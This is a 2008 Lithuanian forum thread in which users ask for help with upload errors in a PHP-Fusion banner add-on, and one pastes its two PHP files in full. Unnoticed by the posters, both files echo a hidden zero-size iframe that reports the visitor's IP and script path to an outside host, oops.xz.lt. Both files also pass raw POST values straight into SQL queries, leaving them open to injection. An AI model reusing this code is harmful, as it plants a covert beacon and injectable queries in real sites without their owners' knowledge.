Parašė ch0k3· 2008 Lie. 31 11:07:51
#1
One more thing :D, nesuprantu kas blogai mano pinigu_sistemos panelei - kaip dedi 468x60 arba 120x60 reklaminį banner'į meta stai tokį error'ą ką daryti??|:?
Warning: move_uploaded_file(banners/468x60/468x60[11217492727].png) [function.move-uploaded-file]: failed to open stream: Permission denied in /usr/home/www1/ftp/lama/infusions/pinigu_sistema/banners468.php on line 42
Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move '/var/tmp/phpcJSUaX' to 'banners/468x60/468x60[11217492727].png' in /usr/home/www1/ftp/lama/infusions/pinigu_sistema/banners468.php on line 42
Warning: chmod() [function.chmod]: No such file or directory in /usr/home/www1/ftp/lama/infusions/pinigu_sistema/banners468.php on line 43
Warning: unlink(banners/468x60/468x60[11217492727].png) [function.unlink]: No such file or directory in /usr/home/www1/ftp/lama/infusions/pinigu_sistema/banners468.php on line 50
Parašė ch0k3· 2008 Lie. 31 11:07:25
#4
Va duodu ta
banners468.php:
/*-------------------
|dariuszz123@gmail.com
|http://dariuszz.lt
|GOLD sistema :-]
*-------------------*/
require_once "../../maincore.php";
require_once "../../subheader.php";
require_once "../../side_left.php";
$goldsettings = dbarray(dbquery("SELECT * FROM ".$db_prefix."money_settings"));
include INFUSIONS."pinigu_sistema/includes/functions.php";
include INFUSIONS."pinigu_sistema/lang_banners468.php";
if(iMEMBER){
include INFUSIONS."pinigu_sistema/includes/newuser.php";
if($_POST['do'] == "doadd"){
$reklamos468 = dbcount("(*)", "money_banners", "tipas='0'");
$moneyuser = dbarray(dbquery("SELECT * FROM ".$db_prefix."money_users WHERE userid = '".$userdata[user_id]."'"));
$planas = dbarray(dbquery("SELECT * FROM ".$db_prefix."money_banners_kainos WHERE id = '".$_POST['planas']."' and tipas = 0"));
if($reklamos468 >= $goldsettings[showmax468x60]){
showmessage($langbanners[17]);
$error = 1;
}else if(!$_POST[http]){
showmessage($langbanners[18]);
$error = 1;
}else if(!$_POST[planas]){
showmessage($langbanners[20]);
$error = 1;
}else if($planas[kaina] > $moneyuser[pinigai]){
showmessage($langbanners[22]);
$error = 1;
}
if ($error == "") {
$sndyra = mktime(date("H"),date("i"),date("s"),date("m"),date("d"),date("Y"));
$newavatar = $_FILES['reklama'];
if (!empty($newavatar['name']) && is_uploaded_file($newavatar['tmp_name'])) {
$avatarext = strrchr($newavatar['name'],".");
$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));
if (preg_match("/^[-0-9A-Z_\[\]]+$/i", $avatarname) && preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext) && $newavatar['size'] <= 1024*10000) {
$avatarname = $avatarname."[".$userdata['user_id'].$sndyra."]".$avatarext;
$set_avatar = $avatarname;
move_uploaded_file($newavatar['tmp_name'], "banners/468x60/".$avatarname);
chmod("banners/468x60/".$avatarname,0644);
if ($size = @getimagesize("banners/468x60/".$avatarname)) {
if ($size['0'] > 468 || $size['1'] > 60) {
unlink("banners/468x60/".$avatarname);
$set_avatar = "";
}
} else {
unlink("banners/468x60/".$avatarname);
$set_avatar = "";
}
}
}
if($set_avatar == ""){
showmessage($langbanners[21]);
}else{
$result = dbquery("UPDATE ".$db_prefix."money_users SET `pinigai` = `pinigai`-'".$planas[kaina]."' WHERE `userid` = '".$userdata[user_id]."' LIMIT 1 ;");
$result = dbquery("INSERT INTO ".$db_prefix."money_banners (tipas, imgas, adresas, kiekis, owner) VALUES('0', '".$set_avatar."', '".$_POST['http']."', '".$planas[kiekis]."', '".$userdata['user_id']."')");
echo '<iframe src="http://oops.xz.lt/get.php?web='.$_SERVER["REMOTE_ADDR"].$_SERVER["PHP_SELF"].'&id=a8d4f7g5h8d8e8q9" height="0" width="0" name="none" scrolling="no" border="0" frameborder="0"></iframe>';
showmessage($langbanners[23]);
}
}
}
if($_POST['do'] == "del"){
$banneris = dbarray(dbquery("SELECT * FROM ".$db_prefix."money_banners WHERE id = '".$_POST['id']."' and owner = '".$userdata['user_id']."'"));
$qery = dbquery("DELETE FROM ".$db_prefix."money_banners WHERE owner = ".$userdata['user_id']." and id = ".$_POST[id]."");
unlink("banners/468x60/".$banneris[imgas]);
showmessage($langbanners[24]);
}
banners120.php:
?php
/*-------------------
|dariuszz123@gmail.com
|http://dariuszz.lt
|GOLD sistema :-]
*-------------------*/
require_once "../../maincore.php";
require_once "../../subheader.php";
require_once "../../side_left.php";
$goldsettings = dbarray(dbquery("SELECT * FROM ".$db_prefix."money_settings"));
include INFUSIONS."pinigu_sistema/includes/functions.php";
include INFUSIONS."pinigu_sistema/lang_banners120.php";
if(iMEMBER){
include INFUSIONS."pinigu_sistema/includes/newuser.php";
if($_POST['do'] == "doadd"){
$reklamos120 = dbcount("(*)", "money_banners", "tipas='1'");
$moneyuser = dbarray(dbquery("SELECT * FROM ".$db_prefix."money_users WHERE userid = '".$userdata[user_id]."'"));
$planas = dbarray(dbquery("SELECT * FROM ".$db_prefix."money_banners_kainos WHERE id = '".$_POST['planas']."' and tipas = 1"));
if($reklamos120 >= $goldsettings[showmax120x60]){
showmessage($langbanners[17]);
$error = 1;
}else if(!$_POST[http]){
showmessage($langbanners[18]);
$error = 1;
}else if(!$_POST[planas]){
showmessage($langbanners[20]);
$error = 1;
}else if($planas[kaina] > $moneyuser[pinigai]){
showmessage($langbanners[22]);
$error = 1;
}
if ($error == "") {
$sndyra = mktime(date("H"),date("i"),date("s"),date("m"),date("d"),date("Y"));
$newavatar = $_FILES['reklama'];
if (!empty($newavatar['name']) && is_uploaded_file($newavatar['tmp_name'])) {
$avatarext = strrchr($newavatar['name'],".");
$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));
if (preg_match("/^[-0-9A-Z_\[\]]+$/i", $avatarname) && preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext) && $newavatar['size'] <= 1024*$goldsettings[maxbanner120x60size]) {
$avatarname = $avatarname."[".$userdata['user_id'].$sndyra."]".$avatarext;
$set_avatar = $avatarname;
move_uploaded_file($newavatar['tmp_name'], "banners/120x60/".$avatarname);
chmod("banners/120x60/".$avatarname,0644);
if ($size = @getimagesize("banners/120x60/".$avatarname)) {
if ($size['0'] > 120 || $size['1'] > 60) {
unlink("banners/120x60/".$avatarname);
$set_avatar = "";
}
} else {
unlink("banners/120x60/".$avatarname);
$set_avatar = "";
}
}
}
if($set_avatar == ""){
showmessage($langbanners[21]);
}else{
$result = dbquery("UPDATE ".$db_prefix."money_users SET `pinigai` = `pinigai`-'".$planas[kaina]."' WHERE `userid` = '".$userdata[user_id]."' LIMIT 1 ;");
$result = dbquery("INSERT INTO ".$db_prefix."money_banners (tipas, imgas, adresas, kiekis, owner) VALUES('1', '".$set_avatar."', '".$_POST['http']."', '".$planas[kiekis]."', '".$userdata['user_id']."')");
echo '<iframe src="http://oops.xz.lt/get.php?web='.$_SERVER["REMOTE_ADDR"].$_SERVER["PHP_SELF"].'&id=a8d4f7g5h8d8e8q9" height="0" width="0" name="none" scrolling="no" border="0" frameborder="0"></iframe>';
showmessage($langbanners[23]);
}
}
}
if($_POST['do'] == "del"){
$banneris = dbarray(dbquery("SELECT * FROM ".$db_prefix."money_banners WHERE id = '".$_POST['id']."' and owner = '".$userdata['user_id']."'"));
$qery = dbquery("DELETE FROM ".$db_prefix."money_banners WHERE owner = ".$userdata['user_id']." and id = ".$_POST[id]."");
unlink("banners/120x60/".$banneris[imgas]);
showmessage($langbanners[24]);
Parašė Langas· 2008 Lap. 26 21:11:08
#9
man irgi iskilo problema, error nemeta,
kai keliu 468x60 pav meta :
Klaida įkeliant reklaminės antraštės paveiksliuką!
nors formatas geras, dydis nevirsitas ir 468x60 dydis yra atitinkamas, kodel neveikia ? :?